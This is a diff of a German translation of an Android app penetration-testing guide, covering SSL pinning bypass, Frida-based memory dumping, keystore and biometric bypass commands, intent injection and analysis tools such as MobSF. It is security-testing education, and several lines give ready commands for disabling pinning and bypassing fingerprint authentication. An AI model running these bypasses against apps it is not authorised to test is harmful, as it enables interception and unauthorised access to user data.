+- Automatisch die **apk** **modifizieren**, um SSLPinning mit [**apk-mitm**](https://github.com/shroudedcode/apk-mitm) zu **umgehen**. Der größte Vorteil dieser Option ist, dass du kein Root benötigst, um SSL Pinning zu umgehen, allerdings musst du die Anwendung löschen und die neue installieren — und es funktioniert nicht immer.
+- Du könntest **Frida** (unten besprochen) nutzen, um diesen Schutz zu umgehen. Hier ist ein Guide, um Burp+Frida+Genymotion zu verwenden: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
+- Du kannst versuchen, SSL Pinning **automatisch zu umgehen** mit [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
+- Du kannst auch versuchen, SSL Pinning **automatisch zu umgehen** mit **MobSF dynamic analysis** (unten erklärt)
+- Falls du glaubst, dass Traffic nicht erfasst wird, kannst du versuchen, den Traffic mittels iptables an Burp weiterzuleiten. Lies diesen Blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
 
-#### Suche nach häufigen Web-Schwachstellen
+#### Suche nach typischen Web-Schwachstellen
 
-Es ist wichtig, auch innerhalb der Anwendung nach häufigen Web-Schwachstellen zu suchen. Detaillierte Informationen zum Identifizieren und Beheben dieser Schwachstellen gehen über den Rahmen dieser Zusammenfassung hinaus, werden aber an anderer Stelle ausführlich behandelt.
+Es ist wichtig, innerhalb der Anwendung auch nach typischen Web-Schwachstellen zu suchen. Detaillierte Informationen zur Identifikation und Behebung dieser Schwachstellen gehen über den Umfang dieser Zusammenfassung hinaus, werden aber an anderer Stelle ausführlich behandelt.
 
 ### Frida
 
-[Frida](https://www.frida.re) ist ein dynamic instrumentation toolkit für Entwickler, Reverse-Engineers und Security-Researcher.\
-**Du kannst auf laufende Anwendungen zugreifen und Methoden zur Laufzeit hooken, um Verhalten zu ändern, Werte zu ändern, Werte zu extrahieren, anderen Code auszuführen...**\
-Wenn du Android-Anwendungen pentest willst, musst du wissen, wie man Frida benutzt.
+[Frida](https://www.frida.re) ist ein dynamisches Instrumentierungs-Toolkit für Entwickler, Reverse-Engineers und Sicherheitsforscher.\
+**Du kannst laufende Anwendungen zur Laufzeit ansprechen und Methoden hooken, um Verhalten zu ändern, Werte zu verändern, Werte zu extrahieren, anderen Code auszuführen...**\
+Wenn du Android-Anwendungen pentesten möchtest, musst du wissen, wie man Frida verwendet.
 
-- Learn how to use Frida: [**Frida tutorial**](frida-tutorial/index.html)
-- Some "GUI" for actions with Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
-- Ojection is great to automate the use of Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
-- You can find some Awesome Frida scripts here: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
-- Versuche Anti-Debugging / Anti-Frida-Mechanismen zu umgehen, indem du Frida wie hier beschrieben lädst: [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (Tool [linjector](https://github.com/erfur/linjector-rs))
+- Lerne, wie man Frida nutzt: [**Frida tutorial**](frida-tutorial/index.html)
+- Einige "GUI"-Tools für Frida-Aktionen: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
+- Ojection ist großartig, um die Nutzung von Frida zu automatisieren: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
+- Du findest einige Awesome Frida-Skripte hier: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
+- Versuche, Anti-Debugging / Anti-Frida-Mechanismen zu umgehen, indem du Frida wie in [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) beschrieben lädst (Tool [linjector](https://github.com/erfur/linjector-rs))
 
-#### Anti-instrumentation & SSL Pinning Umgehungs-Workflow
+#### Anti-Instrumentation- & SSL pinning Bypass-Workflow
 
 {{#ref}}
 android-anti-instrumentation-and-ssl-pinning-bypass.md
@@ -526,9 +530,9 @@ android-anti-instrumentation-and-ssl-pinning-bypass.md
 
 ### **Speicher auslesen - Fridump**
 
-Prüfe, ob die Anwendung sensible Informationen im Speicher ablegt, die dort nicht sein sollten, z. B. Passwörter oder mnemonics.
+Überprüfe, ob die Anwendung sensible Informationen im Speicher ablegt, die dort nicht sein sollten, z. B. Passwörter oder Mnemonics.
 
-Using [**Fridump3**](https://github.com/rootbsd/fridump3) you can dump the memory of the app with:
+Mit [**Fridump3**](https://github.com/rootbsd/fridump3) kannst du den Speicher der App dumpen mit:
 ```bash
 # With PID
 python3 fridump3.py -u <PID>
@@ -537,23 +541,23 @@ python3 fridump3.py -u <PID>
 frida-ps -Uai
 python3 fridump3.py -u "<Name>"
 ```
-Das wird den Speicher im Ordner ./dump ablegen, und dort könntest du mit etwas wie grep suchen:
+Dies erzeugt ein Speicher-Dump im Ordner ./dump, und dort könntest du mit etwas wie folgendem grep:
 ```bash
 strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+$"
 ```
-### **Sensible Daten in Keystore**
+### **Sensible Daten im Keystore**
 
-In Android ist der Keystore der beste Ort, um sensible Daten zu speichern; mit ausreichenden Privilegien ist es jedoch immer noch **möglich, darauf zuzugreifen**. Da Anwendungen hier dazu neigen, **sensible Daten in clear text** zu speichern, sollten pentests dies überprüfen, da ein Root-User oder jemand mit physischem Zugriff auf das Gerät diese Daten stehlen könnte.
+Unter Android ist der Keystore der beste Ort, um sensible Daten zu speichern, jedoch ist er bei ausreichenden Rechten weiterhin **zugänglich**. Da Anwendungen hier häufig **sensible Daten im Klartext** ablegen, sollten pentests dies als root user überprüfen, da jemand mit physischem Zugriff auf das Gerät diese Daten stehlen könnte.
 
-Selbst wenn eine App Daten im keystore speichert, sollten diese Daten verschlüsselt sein.
+Selbst wenn eine App Daten im Keystore gespeichert hat, sollten diese verschlüsselt sein.
 
-Um auf die Daten im keystore zuzugreifen, kann man dieses Frida-Skript verwenden: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js)
+Um auf die Daten im Keystore zuzugreifen, können Sie dieses Frida script verwenden: https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js
 ```bash
 frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
 ```
 ### **Fingerprint/Biometrics Bypass**
 
-Mit dem folgenden Frida-Skript kann möglicherweise die **bypass fingerprint authentication** durchgeführt werden, die Android-Anwendungen implementieren, um **bestimmte sensible Bereiche zu schützen:**
+Mit dem folgenden Frida-Skript könnte es möglich sein, die von Android-Anwendungen eingesetzte **bypass fingerprint authentication** zu umgehen, die dazu dient, bestimmte sensible Bereiche zu schützen:
 ```bash
 frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app.package>
 ```
@@ -561,39 +565,39 @@ frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app
 
 Wenn du eine Anwendung in den Hintergrund legst, speichert Android einen **Snapshot der Anwendung**, sodass beim Wiederherstellen in den Vordergrund zuerst das Bild geladen wird, bevor die App startet, wodurch es so aussieht, als wäre die App schneller geladen.
 
-Wenn dieser Snapshot jedoch **sensible Informationen** enthält, könnte jemand mit Zugriff auf den Snapshot diese **Infos stehlen** (beachte, dass man dafür root benötigt).
+Enthält dieser Snapshot jedoch **sensible Informationen**, könnte jemand mit Zugriff auf den Snapshot **diese Informationen stehlen** (Hinweis: zum Zugriff ist root erforderlich).
 
-Die Snapshots werden üblicherweise hier gespeichert: **`/data/system_ce/0/snapshots`**
+Die Snapshots werden normalerweise gespeichert unter: **`/data/system_ce/0/snapshots`**
 
-Android bietet eine Möglichkeit, die **Erfassung von Screenshots durch Setzen des FLAG_SECURE** Layout-Parameters zu verhindern. Wenn dieses Flag verwendet wird, werden die Fensterinhalte als sicher behandelt, sodass sie nicht in Screenshots erscheinen oder auf nicht-sicheren Displays angezeigt werden können.
+Android bietet die Möglichkeit, das **Erfassen von Screenshots durch Setzen des Layout-Parameters FLAG_SECURE zu verhindern**. Wird dieses Flag gesetzt, werden die Fensterinhalte als sicher behandelt, sodass sie nicht in Screenshots erscheinen oder auf nicht-sicheren Displays angezeigt werden können.
 ```bash
 getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
 ```
 ### **Android Application Analyzer**
 
-Dieses Tool kann dir helfen, verschiedene Tools während der dynamischen Analyse zu verwalten: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer)
+Dieses Tool kann Ihnen helfen, verschiedene Tools während der dynamischen Analyse zu verwalten: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer)
 
 ### Intent Injection
 
-Entwickler erstellen häufig Proxy-Komponenten wie activities, services und broadcast receivers, die diese Intents verarbeiten und an Methoden wie `startActivity(...)` oder `sendBroadcast(...)` weiterreichen, was riskant sein kann.
+Entwickler erstellen häufig Proxy-Komponenten wie activities, services und broadcast receivers, die diese Intents verarbeiten und an Methoden wie `startActivity(...)` oder `sendBroadcast(...)` weitergeben, was riskant sein kann.
 
-Die Gefahr besteht darin, Angreifern zu erlauben, non-exported App-Komponenten zu triggern oder auf sensible content providers zuzugreifen, indem diese Intents fehlgeleitet werden. Ein bemerkenswertes Beispiel ist die `WebView`-Komponente, die URLs mittels `Intent.parseUri(...)` in `Intent`-Objekte konvertiert und diese dann ausführt, was zu bösartigen Intent-Injections führen kann.
+Die Gefahr besteht darin, Angreifern zu ermöglichen, nicht-exportierte App-Komponenten auszulösen oder auf sensitive Content Providers zuzugreifen, indem diese Intents fehlgeleitet werden. Ein bemerkenswertes Beispiel ist die `WebView`-Komponente, die URLs mittels `Intent.parseUri(...)` in `Intent`-Objekte umwandelt und diese dann ausführt, was potenziell zu bösartigen Intent injections führen kann.
 
 ### Essential Takeaways
 
 - **Intent Injection** ist ähnlich dem Open Redirect-Problem im Web.
-- Exploits beinhalten das Weiterreichen von `Intent`-Objekten als extras, die umgeleitet werden können, um unsichere Operationen auszuführen.
-- Dadurch können non-exported Komponenten und content providers für Angreifer exponiert werden.
-- Die URL-zu-`Intent`-Konvertierung von `WebView` kann unbeabsichtigte Aktionen ermöglichen.
+- Exploits beinhalten das Übergeben von `Intent`-Objekten als Extras, die umgeleitet werden können, um unsichere Operationen auszuführen.
+- Dadurch können nicht-exportierte Komponenten und Content Providers für Angreifer offenbart werden.
+- Die Umwandlung von URLs in `Intent`-Objekte durch `WebView` kann unbeabsichtigte Aktionen ermöglichen.
 
-### Android Client-seitige Injections und andere
+### Android Client-Side Injections und andere
 
-Wahrscheinlich kennst du diese Art von Vulnerabilities bereits aus dem Web. Bei Android-Anwendungen musst du besonders vorsichtig mit folgenden Schwachstellen sein:
+Wahrscheinlich kennen Sie diese Art von Schwachstellen aus dem Web. In Android-Anwendungen müssen Sie bei diesen Schwachstellen besonders vorsichtig sein:
 
-- **SQL Injection:** Beim Umgang mit dynamischen Queries oder Content-Providers stelle sicher, dass du parameterisierte Abfragen verwendest.
-- **JavaScript Injection (XSS):** Stelle sicher, dass JavaScript- und Plugin-Unterstützung für alle WebViews deaktiviert ist (standardmäßig deaktiviert). [Mehr Infos hier](webview-attacks.md#javascript-enabled).
-- **Local File Inclusion:** WebViews sollten keinen Zugriff auf das Dateisystem haben (standardmäßig erlaubt) - `(webview.getSettings().setAllowFileAccess(false);)`. [Mehr Infos hier](webview-attacks.md#javascript-enabled).
-- **Eternal cookies:** In mehreren Fällen, wenn die Android-Anwendung die Session beendet, wird das Cookie nicht widerrufen oder es kann sogar auf die Festplatte gespeichert werden.
+- **SQL Injection:** Beim Umgang mit dynamischen Abfragen oder Content-Providers sollten Sie parameterisierte Abfragen verwenden.
+- **JavaScript Injection (XSS):** Stellen Sie sicher, dass JavaScript- und Plugin-Unterstützung für alle WebViews deaktiviert ist (standardmäßig deaktiviert). [Mehr Infos hier](webview-attacks.md#javascript-enabled).
+- **Local File Inclusion:** Der Zugriff von WebViews auf das Dateisystem sollte deaktiviert sein (standardmäßig aktiviert) - `(webview.getSettings().setAllowFileAccess(false);)`. [Mehr Infos hier](webview-attacks.md#javascript-enabled).
+- **Eternal cookies**: In mehreren Fällen wird beim Beenden der Android-Anwendung das Cookie nicht widerrufen oder es kann sogar auf die Festplatte gespeichert werden
 - [**Secure Flag** in cookies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
 
 ---
@@ -606,51 +610,51 @@ Wahrscheinlich kennst du diese Art von Vulnerabilities bereits aus dem Web. Bei
 
 ![](<../../images/image (866).png>)
 
-**Vulnerability assessment of the application** unter Verwendung eines ansprechenden web-basierten Frontends. Du kannst auch dynamische Analyse durchführen (du musst jedoch die Umgebung vorbereiten).
+**Schwachstellenbewertung der Anwendung** mithilfe eines ansprechenden webbasierten Frontends. Sie können auch eine dynamische Analyse durchführen (aber Sie müssen die Umgebung vorbereiten).
 ```bash
 docker pull opensecurity/mobile-security-framework-mobsf
 docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
 ```
-Notice that MobSF can analyse **Android**(apk)**, IOS**(ipa) **and Windows**(apx) applications (_Windows applications must be analyzed from a MobSF installed in a Windows host_).\
-Also, if you create a **ZIP** file with the source code if an **Android** or an **IOS** app (go to the root folder of the application, select everything and create a ZIPfile), it will be able to analyse it also.
+Beachte, dass MobSF **Android**(apk)**, IOS**(ipa) **and Windows**(apx) applications analysieren kann (_Windows-Anwendungen müssen von einem auf einem Windows-Host installierten MobSF analysiert werden_).\
+Auch wenn du eine **ZIP** Datei mit dem Source-Code einer **Android** oder einer **IOS** App erstellst (gehe zum Root-Ordner der Anwendung, wähle alles aus und erstelle eine ZIPfile), kann es diese ebenfalls analysieren.
 
-MobSF also allows you to **diff/Compare** analysis and to integrate **VirusTotal** (you will need to set your API key in _MobSF/settings.py_ and enable it: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`). You can also set `VT_UPLOAD` to `False`, then the **Hash** will be **hochgeladen** instead of the file.
+MobSF ermöglicht außerdem das **diff/Compare** von Analysen und die Integration von **VirusTotal** (du musst deinen API-Schlüssel in _MobSF/settings.py_ setzen und es aktivieren: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`). Du kannst `VT_UPLOAD` auch auf `False` setzen, dann wird statt der Datei der **hash** hochgeladen.
 
 ### Assisted Dynamic analysis with MobSF
 
-**MobSF** can also be very helpful for **dynamic analysis** in **Android**, but in that case you will need to install MobSF and **genymotion** in your host (a VM or Docker won't work). _Note: You need to **start first a VM in genymotion** and **then MobSF.**_\
-The **MobSF dynamic analyser** can:
+**MobSF** kann auch bei der **dynamischen Analyse** von **Android** sehr hilfreich sein, aber in diesem Fall musst du MobSF und **genymotion** auf deinem Host installieren (eine VM oder Docker funktioniert nicht). _Note: You need to **start first a VM in genymotion** and **then MobSF.**_\  
+Der **MobSF dynamic analyser** kann:
 
-- **Dump application data** (URLs, logs, Zwischenablage, Screenshots, die du machst, Screenshots, die vom "**Exported Activity Tester**" erstellt werden, E-Mails, SQLite-Datenbanken, XML-Dateien und andere erstellte Dateien). All of this is done automatically except for the screenshots, you need to press when you want a screenshot or you need to press "**Exported Activity Tester**" to obtain screenshots of all the exported activities.
-- Capture **HTTPS traffic**
+- **Dump application data** (URLs, logs, clipboard, screenshots made by you, screenshots made by "**Exported Activity Tester**", emails, SQLite databases, XML files, and other created files). All of this is done automatically except for the screenshots, you need to press when you want a screenshot or you need to press "**Exported Activity Tester**" to obtain screenshots of all the exported activities.
+- **Capture HTTPS traffic**
 - Use **Frida** to obtain **runtime** **information**
 
-From android **versions > 5**, it will **automatically start Frida** and will set global **proxy** settings to **capture** traffic. It will only capture traffic from the tested application.
+Ab Android **versions > 5** wird es **automatisch Frida starten** und globale **proxy**-Einstellungen setzen, um den Traffic zu **capture**. Es erfasst nur den Traffic der getesteten Anwendung.
 
 **Frida**
 
-By default, it will also use some Frida Scripts to **bypass SSL pinning**, **root detection** and **debugger detection** and to **monitor interesting APIs**.\
-MobSF can also **invoke exported activities**, grab **screenshots** of them and **save** them for the report.
+Standardmäßig verwendet es außerdem einige Frida Scripts, um **bypass SSL pinning**, **root detection** und **debugger detection** zu umgehen und um **monitor interesting APIs**.\
+MobSF kann außerdem **invoke exported activities**, Screenshots davon erstellen und diese für den Report **save**.
 
-To **start** the dynamic testing press the green bottom: "**Start Instrumentation**". Press the "**Frida Live Logs**" to see the logs generated by the Frida scripts and "**Live API Monitor**" to see all the invocation to hooked methods, arguments passed and returned values (this will appear after pressing "Start Instrumentation").\
-MobSF also allows you to load your own **Frida scripts** (to send the results of your Friday scripts to MobSF use the function `send()`). It also has **several pre-written scripts** you can load (you can add more in `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), just **select them**, press "**Load**" and press "**Start Instrumentation**" (you will be able to see the logs of that scripts inside "**Frida Live Logs**").
+Um das dynamische Testing zu **start** drücke den grünen Button: "**Start Instrumentation**". Drücke "**Frida Live Logs**", um die Logs der Frida-Skripte zu sehen, und "**Live API Monitor**", um alle Aufrufe an gehookte Methoden, übergebene Argumente und zurückgegebene Werte zu sehen (dies erscheint nach dem Drücken von "Start Instrumentation").\
+MobSF erlaubt es dir auch, eigene **Frida scripts** zu laden (um die Ergebnisse deiner Friday scripts an MobSF zu senden, benutze die Funktion `send()`). Es beinhaltet mehrere vorgefertigte Skripte, die du laden kannst (du kannst weitere in `MobSF/DynamicAnalyzer/tools/frida_scripts/others/` hinzufügen), wähle sie einfach aus, drücke "**Load**" und dann "**Start Instrumentation**" (du kannst die Logs dieser Skripte in "**Frida Live Logs**" sehen).
 
 ![](<../../images/image (419).png>)
 
-Moreover, you have some Auxiliary Frida functionalities:
+Außerdem gibt es einige zusätzliche Frida-Funktionalitäten:
 
 - **Enumerate Loaded Classes**: Gibt alle geladenen Klassen aus
-- **Capture Strings**: Es wird während der Nutzung der Anwendung alle erfassten Strings ausgeben (sehr viel Output)
-- **Capture String Comparisons**: Kann sehr nützlich sein. Es wird **die 2 Strings, die verglichen werden, anzeigen** und ob das Ergebnis True oder False war.
-- **Enumerate Class Methods**: Gib den Klassennamen ein (z.B. "java.io.File") und es werden alle Methoden der Klasse ausgegeben.
+- **Capture Strings**: Gibt alle erfassten Strings während der Nutzung der Anwendung aus (sehr viele Ausgaben)
+- **Capture String Comparisons**: Kann sehr nützlich sein. Es zeigt die beiden verglichenen Strings und ob das Ergebnis True oder False war.
+- **Enumerate Class Methods**: Gib den Klassennamen an (z. B. "java.io.File") und es werden alle Methoden der Klasse ausgegeben.
 - **Search Class Pattern**: Suche Klassen nach Pattern
-- **Trace Class Methods**: **Trace** eine **gesamte Klasse** (siehe Eingaben und Ausgaben aller Methoden der Klasse). Denk daran, dass MobSF standardmäßig mehrere interessante Android API-Methoden trace't.
+- **Trace Class Methods**: **Trace** eine **ganze Klasse** (siehe Eingaben und Ausgaben aller Methoden der Klasse). Denk daran, dass MobSF standardmäßig mehrere interessante Android Api-Methoden trace't.
 
-Once you have selected the auxiliary module you want to use you need to press "**Start Intrumentation**" and you will see all the outputs in "**Frida Live Logs**".
+Sobald du das Hilfsmodul ausgewählt hast, das du verwenden möchtest, musst du "**Start Intrumentation**" drücken und du wirst alle Ausgaben in "**Frida Live Logs**" sehen.
 
 **Shell**
 
-Mobsf also brings you a shell with some **adb** commands, **MobSF commands**, and common **shell** **commands** at the bottom of the dynamic analysis page. Some interesting commands:
+MobSF bringt dir außerdem eine Shell mit einigen **adb** commands, **MobSF commands**, und gängigen **shell** **commands** am unteren Rand der Seite für die dynamische Analyse. Einige interessante Commands:
 ```bash
 help
 shell ls
@@ -659,34 +663,34 @@ exported_activities
 services
 receivers
 ```
-**HTTP-Tools**
+**HTTP tools**
 
-Wenn HTTP traffic aufgezeichnet wird, siehst du eine rohe Ansicht des aufgezeichneten Verkehrs über den Button "**HTTP(S) Traffic**" unten oder eine schönere Ansicht über den grünen Button "**Start HTTPTools**". Über die zweite Option kannst du die **captured requests** an **proxies** wie Burp oder Owasp ZAP senden.  
-Um das zu tun: _Burp einschalten -->_ _Intercept ausschalten --> in MobSB HTTPTools die Anfrage auswählen_ --> auf "**Send to Fuzzer**" klicken --> _die proxy address auswählen_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
+Wenn HTTP-Traffic erfasst wird, können Sie eine unübersichtliche Ansicht des erfassten Traffics über die Schaltfläche "**HTTP(S) Traffic**" sehen oder eine übersichtlichere Ansicht über die grüne Schaltfläche "**Start HTTPTools**". Über die zweite Option können Sie die **erfassten Requests** an **Proxies** wie Burp oder Owasp ZAP **senden**.\
+Um das zu tun: _Burp einschalten -->_ _Intercept ausschalten --> in MobSB HTTPTools die Anfrage auswählen_ --> auf "**Send to Fuzzer**" drücken --> _die Proxy-Adresse auswählen_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
 
-Sobald du die dynamic analysis mit MobSF beendet hast, kannst du auf "**Start Web API Fuzzer**" klicken, um **fuzz http requests** auszuführen und nach Schwachstellen zu suchen.
+Sobald Sie die dynamische Analyse mit MobSF abgeschlossen haben, können Sie auf "**Start Web API Fuzzer**" klicken, um **HTTP-Requests zu fuzzen** und nach Schwachstellen zu suchen.
 
 > [!TIP]
-> Nach einer dynamic analysis mit MobSF können die proxy settings möglicherweise falsch konfiguriert sein und du kannst sie nicht über die GUI beheben. Du kannst die proxy settings folgendermaßen zurücksetzen:
+> Nachdem Sie eine dynamische Analyse mit MobSF durchgeführt haben, können die Proxy-Einstellungen fehlerhaft konfiguriert sein und sich nicht über die GUI zurücksetzen lassen. Sie können die Proxy-Einstellungen wie folgt beheben:
 >
 > ```
 > adb shell settings put global http_proxy :0
 > ```
 
-### Unterstützte dynamic analysis mit Inspeckage
+### Assisted Dynamic Analysis with Inspeckage
 
-Du kannst das Tool von [**Inspeckage**](https://github.com/ac-pm/Inspeckage) beziehen.  
-Dieses Tool verwendet einige **Hooks**, um dir zu zeigen, **was in der Anwendung passiert**, während du eine **dynamic analysis** durchführst.
+Sie können das Tool von [**Inspeckage**](https://github.com/ac-pm/Inspeckage) beziehen.\
+Dieses Tool verwendet einige **Hooks**, um Ihnen während einer **dynamischen Analyse** mitzuteilen, **was in der Anwendung passiert**.
 
 ### [Yaazhini](https://www.vegabird.com/yaazhini/)
 
-Dies ist ein **großartiges Tool, um static analysis mit einer GUI durchzuführen**
+Dies ist ein **ausgezeichnetes Tool, um statische Analysen mit einer GUI durchzuführen**
 
 ![](<../../images/image (741).png>)
 
 ### [Qark](https://github.com/linkedin/qark)
 
-Dieses Tool ist darauf ausgelegt, mehrere **security related Android application vulnerabilities** zu finden, entweder im **source code** oder in **packaged APKs**. Das Tool kann außerdem ein **Proof-of-Concept deployable APK** und **ADB commands** erstellen, um einige der gefundenen Schwachstellen (Exposed activities, intents, tapjacking...) auszunutzen. Wie bei Drozer ist es nicht nötig, das Testgerät zu rooten.
+Dieses Tool wurde entwickelt, um mehrere **security related Android application vulnerabilities** zu finden, entweder im **source code** oder in **packaged APKs**. Das Tool ist außerdem **capable of creating a "Proof-of-Concept" deployable APK** und **ADB commands**, um einige der gefundenen Schwachstellen auszunutzen (Exposed activities, intents, tapjacking...). Wie bei Drozer ist es nicht nötig, das Testgerät zu rooten.
 ```bash
 pip3 install --user qark  # --user is only needed if not using a virtualenv
 qark --apk path/to/my.apk
@@ -696,9 +700,9 @@ qark --java path/to/specific/java/file.java
 ### [**ReverseAPK**](https://github.com/1N3/ReverseAPK.git)
 
 - Zeigt alle extrahierten Dateien zur einfachen Referenz an
-- Decompiliert APK-Dateien automatisch in Java- und Smali-Format
-- Analysiert AndroidManifest.xml auf häufige Schwachstellen und Verhaltensweisen
-- Statische Quellcode-Analyse auf häufige Schwachstellen und Verhaltensweisen
+- Dekompiliert APK-Dateien automatisch in Java- und Smali-Format
+- Analysiert AndroidManifest.xml auf häufige Schwachstellen und Verhalten
+- Statische Quellcode-Analyse auf häufige Schwachstellen und Verhalten
 - Geräteinformationen
 - und mehr
 ```bash
@@ -706,11 +710,11 @@ reverse-apk relative/path/to/APP.apk
 ```
 ### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super)
 
-SUPER ist eine Kommandozeilenanwendung, die unter Windows, MacOS X und Linux verwendet werden kann und _.apk_ Dateien auf der Suche nach Schwachstellen analysiert. Dazu dekomprimiert es APKs und wendet eine Reihe von Regeln an, um diese Schwachstellen zu erkennen.
+SUPER ist eine Kommandozeilenanwendung, die unter Windows, MacOS X und Linux verwendet werden kann und _.apk_-Dateien auf der Suche nach Schwachstellen analysiert. Dazu dekomprimiert sie APKs und wendet eine Reihe von Regeln an, um diese Schwachstellen zu erkennen.
 
-Alle Regeln sind in einer `rules.json`-Datei zusammengefasst, und jedes Unternehmen oder jeder Tester kann eigene Regeln erstellen, um seine Anforderungen zu analysieren.
+Alle Regeln sind in der Datei `rules.json` abgelegt; jedes Unternehmen oder jeder Tester kann eigene Regeln erstellen, um genau das zu analysieren, was benötigt wird.
 
-Lade die neuesten Binaries von der [download page](https://superanalyzer.rocks/download.html) herunter
+Lade die neuesten Binärdateien von der [download page](https://superanalyzer.rocks/download.html) herunter.
 ```
 super-analyzer {apk_file}
 ```
@@ -718,9 +722,9 @@ super-analyzer {apk_file}
 
 ![](<../../images/image (297).png>)
 
-StaCoAn ist ein **crossplatform** Tool, das Entwickler, bugbounty hunters und ethical hackers bei der Durchführung von [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) an mobilen Anwendungen unterstützt.
+StaCoAn ist ein **plattformübergreifendes** Tool, das Entwicklern, bugbounty hunters und ethical hackers bei der Durchführung von [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) an mobilen Anwendungen hilft.
 
-Das Konzept besteht darin, dass Sie Ihre mobile Anwendungsdatei (eine .apk- oder .ipa-Datei) per Drag & Drop auf die StaCoAn-Anwendung ziehen und es einen visuellen, portablen Bericht für Sie erstellt. Sie können die Einstellungen und wordlists anpassen, um ein individuelles Erlebnis zu erhalten.
+Das Konzept ist, dass Sie Ihre mobile Anwendungsdatei (eine .apk- oder .ipa-Datei) auf die StaCoAn-Anwendung ziehen und ablegen, und sie erstellt einen visuellen und portablen Bericht für Sie. Sie können die Einstellungen und wordlists anpassen, um eine individuelle Erfahrung zu erhalten.
 
 Herunterladen[ latest release](https://github.com/vincentcox/StaCoAn/releases):
 ```
@@ -728,7 +732,7 @@ Herunterladen[ latest release](https://github.com/vincentcox/StaCoAn/releases):
 ```
 ### [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework)
 
-AndroBugs Framework ist ein System zur Analyse von Android-Schwachstellen, das Entwicklern oder hackers hilft, potenzielle Sicherheitslücken in Android-Anwendungen zu finden.\
+AndroBugs Framework ist ein System zur Analyse von Android-Schwachstellen, das Entwicklern oder hackers hilft, potenzielle Sicherheitslücken in Android-Anwendungen zu finden.\  
 [Windows releases](https://github.com/AndroBugs/AndroBugs_Framework/releases)
 ```
 python androbugs.py -f [APK file]
@@ -736,11 +740,11 @@ androbugs.exe -f [APK file]
 ```
 ### [Androwarn](https://github.com/maaaaz/androwarn)
 
-**Androwarn** ist ein Tool, dessen Hauptzweck darin besteht, potenziell bösartiges Verhalten einer Android-Anwendung zu erkennen und den Benutzer davor zu warnen.
+**Androwarn** ist ein Tool, dessen Hauptziel es ist, den Benutzer vor potenziell bösartigen Verhaltensweisen einer Android-Anwendung zu warnen.
 
-Die Erkennung erfolgt mittels **static analysis** des Dalvik-Bytecodes der Anwendung, dargestellt als **Smali**, mit der Bibliothek [`androguard`](https://github.com/androguard/androguard).
+Die Erkennung erfolgt durch die **static analysis** des Dalvik bytecode der Anwendung, dargestellt als **Smali**, mithilfe der [`androguard`](https://github.com/androguard/androguard) Bibliothek.
 
-Dieses Tool sucht nach **häufigem Verhalten von "bösen" Anwendungen** wie: Telephony identifiers exfiltration, Audio/video flow interception, PIM data modification, Arbitrary code execution...
+Dieses Tool sucht nach **common behavior of "bad" applications** wie: Telephony identifiers exfiltration, Audio/video flow interception, PIM data modification, Arbitrary code execution...
 ```
 python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
 ```
@@ -748,7 +752,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
 
 ![](<../../images/image (595).png>)
 
-**MARA** is a **M**obile **A**pplication **R**everse engineering and **A**nalysis Framework. It is a tool that puts together commonly used mobile application reverse engineering and analysis tools, to assist in testing mobile applications against the OWASP mobile security threats. Its objective is to make this task easier and friendlier to mobile application developers and security professionals.
+**MARA** ist ein **M**obile **A**pplication **R**everse engineering and **A**nalysis Framework. Es ist ein Tool, das häufig verwendete mobile Application reverse engineering und analysis Tools zusammenführt, um beim Testen mobiler Anwendungen gegen die OWASP mobile security threats zu unterstützen. Ziel ist es, diese Aufgabe für mobile App-Entwickler und Security-Professionals einfacher und benutzerfreundlicher zu machen.
 
 It is able to:
 
